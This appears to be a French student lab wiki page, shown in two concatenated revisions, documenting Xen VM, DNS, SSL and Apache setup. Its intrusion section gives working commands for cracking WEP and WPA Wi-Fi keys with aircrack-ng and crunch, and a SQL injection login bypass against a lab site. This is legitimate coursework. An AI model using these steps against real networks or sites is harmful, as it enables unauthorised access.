On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57069TP sysres IMA5 2021/2022 G112021-12-13T17:26:20Z<p>Cgodet1 : /* Serveur web */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
